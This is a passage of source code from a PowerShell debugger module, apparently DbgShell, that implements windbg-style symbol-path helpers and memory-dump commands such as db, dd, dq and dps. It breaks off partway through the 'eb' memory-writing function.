[CmdletBinding()] [OutputType( [System.String] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true )] [string] $Path ) begin { } end { } process { # PS likes to convert null strings to empty strings, so this is how we # check if user passed a path or not. if( $PSBoundParameters.ContainsKey( 'Path' ) ) { # Splatting $PSBoundParameters so that -Verbose, et al get passed along too. Set-DbgSymbolPath @PSBoundParameters } else { Get-DbgSymbolPath @PSBoundParameters } } } # end .sympath function .sympath+ { [CmdletBinding()] [OutputType( [System.String] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string] $Path ) begin { } end { } process { $origPath = Get-DbgSymbolPath if( (0 -ne $origPath.Length) -and (';' -ne $origPath[ $origPath.Length - 1 ]) ) { $origPath += ';' } Set-DbgSymbolPath -Path ($origPath + $Path) } } # end .sympath+ function .sympath_minus { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string] $Path ) begin { } end { } process { $origPath = Get-DbgSymbolPath if($Path.Contains(";")) { Write-Error "Path is invalid with ';' seperator." return } if($origPath.Length -gt 0 -and $origPath.Length -ge $Path.Length) { $nextPath = "" $splitStrings = $origPath.Split( ';' ) if(-not $Path) { $Path = $splitStrings[$splitStrings.Length - 1] } for($i = 0; $i -lt $splitStrings.Length; $i++) { if($Path -ne $splitStrings[$i]) { $nextPath += $splitStrings[$i] + ";" } } $nextPath = $nextPath.TrimEnd(";") Set-DbgSymbolPath -Path $nextPath } } } Set-Alias .sympath- .sympath_minus <# .SYNOPSIS Creates a DbgValueConverterInfo object for a script block that defines a converter for the specified type. TODO: more doc .Link Register-DbgValueConverterInfo #> function New-DbgValueConverterInfo { [CmdletBinding()] [OutputType( [MS.Dbg.DbgValueConverterInfo] )] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string[]] $TypeName, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $Converter, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNull()] [string] $SourceScript, [Parameter( Mandatory = $false )] [switch] $CaptureContext # If we want to support C# converters, we could have another parameter set for # that. ) begin { } end { } process { try { if( !$PSBoundParameters.ContainsKey( 'SourceScript' ) ) { $SourceScript = (Get-PSCallStack)[1].ScriptName } foreach( $private:tn in $TypeName ) { $private:sc = New-Object "MS.Dbg.DbgValueScriptConverter" -ArgumentList @( $tn, $Converter, $CaptureContext ) $private:cdi = New-Object "MS.Dbg.DbgValueConverterInfo" -ArgumentList @( $tn, $sc, $SourceScript ) $cdi } } finally { } } } # end New-DbgValueConverterInfo <# .SYNOPSIS Registers one or more DbgValueScriptConverter objects. .Link New-DbgValueConverterInfo #> function Register-DbgValueConverterInfo { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $ConvertersProducer ) begin { } end { } process { $private:disposable = $null try { # If any entries need to capture context (variables and functions), we'll only # let them capture stuff defined in the $ConvertersProducer script block and # below. $disposable = [MS.Dbg.DbgProvider]::SetContextStartMarker() [int] $private:numConverters = 0 # Q. Why do we need to execute the $ConvertersProducer in the context of the # Debugger.psm1 module? # # A: If we don't, then any converter that wants to -CaptureContext won't work. # This is because Get-PsContext is going to end up executing in the # Debugger.psm1 context, and it won't be able to "see out of" that context. & ($ExecutionContext.SessionState.Module) $ConvertersProducer | %{ if( $_ -is [MS.Dbg.DbgValueConverterInfo] ) { $numConverters++ [MS.Dbg.DbgValueConversionManager]::RegisterConverter( $_ ) } else { Write-Warning "The `$ConvertersProducer ScriptBlock produced some output that was not DbgValueConverterInfo ($($_))." } } if( 0 -eq $numConverters ) { Write-Warning "No converters produced." } } finally { if( $disposable ) { $disposable.Dispose() } } } } # end Register-DbgValueConverterInfo <# .SYNOPSIS Allows you to write a collection object to the pipeline without unrolling it. #> function Write-Collection { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] # Can't pipeline; would defeat the purpose [object] $Collection, [Parameter( Mandatory = $false )] [switch] $Unroll ) begin { } end { } process { try { $PSCmdlet.WriteObject( $Collection, $Unroll ) } finally { } } } # end Write-Collection function Invoke-InAlternateScope { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromRemainingArguments = $true )] [ValidateNotNullOrEmpty()] [ScriptBlock[]] $ScriptBlock, [Parameter( Mandatory = $false, Position = 1 )] [object[]] $Arguments, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNull()] [System.Management.Automation.PSModuleInfo] $ScopingModule, [Parameter()] [switch] $UseIsolatedChildScope ) begin { try { if( !$ScopingModule ) { $ScopingModule = New-Module { } } } finally { } } process { try { if( $UseIsolatedChildScope ) { $ScriptBlock | % { & $ScopingModule $_ @Arguments } } else { $ScriptBlock | % { . $ScopingModule $_ @Arguments } } # Here is a really awkward alternative. Not only is it awkward, but it # means that the child scopes can see $ScriptBlock and $sb. What makes # the difference is using '.' versus '&' (dot-sourcing operator versus # call operator). ## & $ScopingModule { ## param( [ScriptBlock[]] $ScriptBlock ) ## foreach( $sb in $ScriptBlock ) ## { ## . $sb @Arguments ## } ## } $ScriptBlock } finally { } } end { } } # end Invoke-InAlternateScope() <# .SYNOPSIS Use this wherever you use a [MS.Dbg.Commands.RangeTransformation()] attribute. #> function GetByteLengthFromRangeArgument { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ref] [UInt64] $AddressRef, [Parameter( Mandatory = $true, Position = 1 )] [object] $CountOrEndAddress, [Parameter( Mandatory = $true, Position = 3 )] [UInt32] $ElementSize ) process { try { [UInt32] $lengthInBytes = 0 if( $CountOrEndAddress.IsNegative ) { #Write-Host "case 1" -Fore Magenta [System.Diagnostics.Debug]::Assert( $CountOrEndAddress.HasLengthPrefix ) $lengthInBytes = $CountOrEndAddress * $ElementSize $AddressRef.Value = $AddressRef.Value - $lengthInBytes } elseif( !$CountOrEndAddress.HasLengthPrefix ) { # [Console]::WriteLine( "GetByteLengthFromRangeArgument: `$AddressRef.Value: {0}", $AddressRef.Value ) # [Console]::WriteLine( "GetByteLengthFromRangeArgument: `$CountOrEndAddress: {0}", $CountOrEndAddress ) # [Console]::WriteLine( "GetByteLengthFromRangeArgument: Subtracted: {0}", ($CountOrEndAddress - $AddressRef.Value) ) # [Console]::WriteLine( "GetByteLengthFromRangeArgument: Condition: {0}", (($CountOrEndAddress - $AddressRef.Value) -lt 256kb) ) # Is it a count, or is it an end address? This is a pretty simple # heuristic, but I bet it mostly works. if( ($AddressRef.Value -ne $null) -and ($AddressRef.Value -ne 0) -and ($CountOrEndAddress -gt $AddressRef.Value) -and (($CountOrEndAddress - $AddressRef.Value) -lt 256kb) ) { #Write-Host "case 2a" -Fore Magenta $lengthInBytes = $CountOrEndAddress - $AddressRef.Value } elseif( ($CountOrEndAddress -lt 256kb) -and (($CountOrEndAddress * $ElementSize) -lt 256kb) ) { #Write-Host "case 2b" -Fore Magenta $lengthInBytes = $CountOrEndAddress * $ElementSize } else { throw "The value '$($CountOrEndAddress.ToString( 'x' ))' is too large to be a valid range. If you really want that much, use the size override syntax (`"L?`")." } } else { #Write-Host "case 3" -Fore Magenta # Size already validated by the RangeTransformation attribute as not too long. $lengthInBytes = $CountOrEndAddress * $ElementSize } #Write-Host "returning $lengthInBytes" -Fore Green return $lengthInBytes } finally { } } # end 'process' block } # end GetByteLengthFromRangeArgument <# .SYNOPSIS Gets the current target. #> function Get-DbgCurrentTarget { [CmdletBinding()] [OutputType( [MS.Dbg.DbgUModeProcess] )] param() process { try { return $debugger.GetCurrentTarget() } finally { } } # end 'process' block } # end Get-DbgCurrentTarget <# .Synopsis Like the windbg "db" command (Dump Bytes). Includes ASCII characters. .Link Get-Help about_MemoryCommands #> function db { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 1 )] [UInt64] $CountOrEndAddress = 128, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'Bytes' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 1 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'Bytes' } finally { } } } # end db <# .Synopsis Like the windbg "da" command (Dump ASCII): interprets memory as an ASCII string. .Description If you want to get an actual System.String object (instead of just an object representing a chunk of memory, with an ASCII string display), use the 'dsz' command instead. .Link dsz dwsz du Get-Help about_MemoryCommands #> function da { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 1 )] [UInt64] $CountOrEndAddress = 704, # It's a strange default, but it matches windbg [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'AsciiOnly' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 1 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'AsciiOnly' } finally { } } } # end da <# .Synopsis Like the windbg "du" command. .Description If you want to get an actual System.String object (instead of just an object representing a chunk of memory, with a string display), use the 'dwsz' command instead. .Link dwsz dsz da Get-Help about_MemoryCommands #> function du { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 2 )] [UInt64] $CountOrEndAddress = 704, # It's a strange default, but it matches windbg [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'UnicodeOnly' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 2 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'UnicodeOnly' } finally { } } } # end du <# .Synopsis Similar to the windbg "du" command, but it reads until it finds a terminating NULL, and instead of returning a chunk of memory, it returns just a plain System.String. .Description The advantage over "du" is that it returns a System.String object, instead of a DbgMemory object. The advantage over $Debugger.ReadMemAs_wszString() is the AddressTransformationAttribute that lets you pass hex values in a more idiomatic way (without leading 0x), plus it's much shorter. .Link du da dsz Get-Help about_MemoryCommands #> function dwsz { [CmdletBinding()] [OutputType( [System.String] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [UInt32] $MaxCharacters = 2048 ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { $mem = $Address # Find the null terminator. [int] $i = 0 for( $i = 0; ($i -lt $mem.Words.Count) -and ($i -lt $MaxCharacters); $i++ ) { if( 0 -eq $mem.Words[ $i ] ) { break } } return [System.Text.Encoding]::Unicode.GetString( $mem.Bytes, 0, ($i * 2) ) } # TODO: Support existing DbgMemory objects here $Debugger.ReadMemAs_wszString( $Address, $MaxCharacters ) } finally { } } } # end dwsz <# .Synopsis Similar to the windbg "da" command (Dump ASCII), but it reads until it finds a terminating NULL, and instead of returning a chunk of memory, it returns just a plain System.String. .Description The advantage over "da" is that it returns a System.String object, instead of a DbgMemory object. The advantage over $Debugger.ReadMemAs_szString() is the AddressTransformationAttribute that lets you pass hex values in a more idiomatic way (without leading 0x), plus it's much shorter. .Link da du dwsz Get-Help about_MemoryCommands #> function dsz { [CmdletBinding()] [OutputType( [System.String] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [UInt32] $MaxCharacters = 2048 ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { $mem = $Address # Find the null terminator. [int] $i = 0 for( $i = 0; ($i -lt $mem.Bytes.Count) -and ($i -lt $MaxCharacters); $i++ ) { if( 0 -eq $mem.Bytes[ $i ] ) { break } } return [System.Text.Encoding]::UTF8.GetString( $mem.Bytes, 0, $i ) } # TODO: Support existing DbgMemory objects here $Debugger.ReadMemAs_szString( $Address, $MaxCharacters ) } finally { } } } # end dsz <# .Synopsis Like the windbg "dw" command (Dump WORDs). Also supports "dW", which dumps WORDs along with ASCII characters. .Link Get-Help about_MemoryCommands #> function dw { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 2 )] [UInt64] $CountOrEndAddress = 64, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { [MS.Dbg.DbgMemoryDisplayFormat] $fmt = [MS.Dbg.DbgMemoryDisplayFormat]::Words # N.B. Case-sensitive! if( 0 -eq [string]::Compare( $PSCmdlet.MyInvocation.InvocationName, 'dW', [System.StringComparison]::Ordinal ) ) { $fmt = [MS.Dbg.DbgMemoryDisplayFormat]::WordsWithAscii } if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = $fmt $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 2 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat $fmt } finally { } } } # end dw <# .Synopsis Like the windbg "dd" command (Dump DWORDs). .Link Get-Help about_MemoryCommands #> function dd { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 4 )] [UInt64] $CountOrEndAddress = 32, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'DWords' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 4 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'DWords' } finally { } } } # end dd <# .Synopsis Like the windbg "dyd" command (Dump Binary DWORDs). .Link Get-Help about_MemoryCommands #> function dyd { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 4 )] [UInt64] $CountOrEndAddress = 8 ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'DWordsWithBits' return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 4 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayFormat 'DWordsWithBits' } finally { } } } # end dyd <# .Synopsis Like the windbg "dc" command (Dump [DWORDs], with [ASCII] Characters). .Link Get-Help about_MemoryCommands #> function dc { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 4 )] [UInt64] $CountOrEndAddress = 32, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'DWordsWithAscii' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 4 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'DWordsWithAscii' } finally { } } } # end dc <# .Synopsis Like the windbg "dq" command (Dump QWORDs). .Link Get-Help about_MemoryCommands #> function dq { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 8 )] [UInt64] $CountOrEndAddress = 16, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'QWords' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 8 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'QWords' } finally { } } } # end dq <# .Synopsis Like the windbg "dp" command (Dump Pointers). .Link Get-Help about_MemoryCommands #> function dp { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 0 )] [UInt64] $CountOrEndAddress, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'Pointers' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [int] $elemSize = 4 if( $Debugger.TargetIs32Bit ) { if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 32 } } else { $elemSize = 8 if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 16 } } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize $elemSize Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'Pointers' } finally { } } } # end dp <# .Synopsis Like the windbg "dp" command (Dump Pointers), but also displays characters. .Link Get-Help about_MemoryCommands #> function dpc { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 0 )] [UInt64] $CountOrEndAddress, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'PointersWithAscii' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [int] $elemSize = 4 if( $Debugger.TargetIs32Bit ) { if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 32 } } else { $elemSize = 8 if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 16 } } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize $elemSize Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'PointersWithAscii' } finally { } } } # end dpc <# .Synopsis Like the windbg "dps" command (Dump Pointers, with Symbols). .Link Get-Help about_MemoryCommands #> function dps { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 0 )] [UInt64] $CountOrEndAddress = 16, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'PointersWithSymbols' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [int] $elemSize = 4 if( $Debugger.TargetIs32Bit ) { if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 32 } } else { $elemSize = 8 if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 16 } } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize $elemSize Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'PointersWithSymbols' } finally { } } } # end dps <# .Synopsis Like the windbg "dps" command (Dump Pointers with Symbols), but also displays ASCII characters a la dc. .Link Get-Help about_MemoryCommands #> function dpsc { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 0 )] [UInt64] $CountOrEndAddress = 16, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'PointersWithSymbolsAndAscii' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [int] $elemSize = 4 if( $Debugger.TargetIs32Bit ) { if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 32 } } else { $elemSize = 8 if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 16 } } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize $elemSize Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'PointersWithSymbolsAndAscii' } finally { } } } # end dpsc <# .Synopsis Similar to the windbg "d" command: repeats the most recent memory dumping command. .Description When a memory-dumping command is repeated, it continues to dump the next chunk of memory. Note that unlike windbg, it does not repeat other commands that also happen to start with "d", like "dv". .Link Get-Help about_MemoryCommands #> function d { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { # Length of 0 means "default size". Read-DbgMemory -Address $Address } finally { } } } # end d function script:_PromptForNewMemoryValue { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [UInt64] $Address, [Parameter( Mandatory = $true, Position = 1 )] [ScriptBlock] $WriteNewVal, [Parameter( Mandatory = $true, Position = 2 )] [int] $Stride, [Parameter( Mandatory = $true, Position = 3 )] [ScriptBlock] $ProduceOldVal ) process { try { [UInt64] $curAddr = $Address [string] $entry = '' do { if( $entry ) { $entry = $entry.Trim() if( !$entry ) { break } [UInt64] $ulong = 0 if( ![MS.Dbg.DbgProvider]::TryParseHexOrDecimalNumber( $entry, ([ref] $ulong) ) ) { Write-Error "Did not understand input: $entry" break } & $WriteNewVal $curAddr $ulong $curAddr += $Stride } $strOldVal = (& $ProduceOldVal $curAddr) + ' < ' $cs = (New-ColorString).Append( (Format-DbgAddress $curAddr) ). Append( ' ' ). AppendPushPopFg( [ConsoleColor]::DarkRed, $strOldVal ). AppendPushFg( [ConsoleColor]::Yellow ). Append( '> ' ) $host.UI.Write( $cs.ToString( $HostSupportsColor ) ) $entry = $host.UI.ReadLine() $host.UI.Write( ((New-ColorString).AppendPop()).ToString( $HostSupportsColor ) ) } while( $entry ) } finally { } } # end 'process' block } # end _PromptForNewMemoryValue() <# .Synopsis Similar to the windbg "eb" command ("Enter Bytes"): Writes byte values into memory. See important note about argument parsing in the full help description. .Description IMPORTANT NOTE ABOUT ARGUMENT PARSING: PowerShell parses numbers as decimal (base 10), but debugger users are accustomed to using hexadecimal (base 16). This can lead to problems. DbgShell uses some tricks to allow you to run this command very simalarly to how you would in a debugger. Notice that the default parameter set is the 'HexStringsParamSet', which can be bound positionally and can gather its value from remaining arguments. That lets you run commands like: eb $rsp 90 90 90 Just like you would in windbg. This command is equivalent: eb $rsp 0x90 0x90 0x90 However, say you have a byte[] in $myBytes. You might try something like: eb $rsp $myBytes # <-- BAD But that won't work (you'll get an error). If you are passing actual data objects (as opposed to string literals) on the command line, you need to use the -Value parameter set: eb $rsp -Value $myBytes Similarly for array literals, but remember that PowerShell parses the array literal, not the DbgShell command: eb $rsp @( 90, 90, 90 ) # <-- BAD, will fail with an error eb $rsp -Value @( 90, 90, 90 ) # <-- Will not fail, but those are 0n90! .Link Get-Help about_MemoryCommands #> function eb { [CmdletBinding( DefaultParameterSetName = 'HexStringsParamSet' )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, 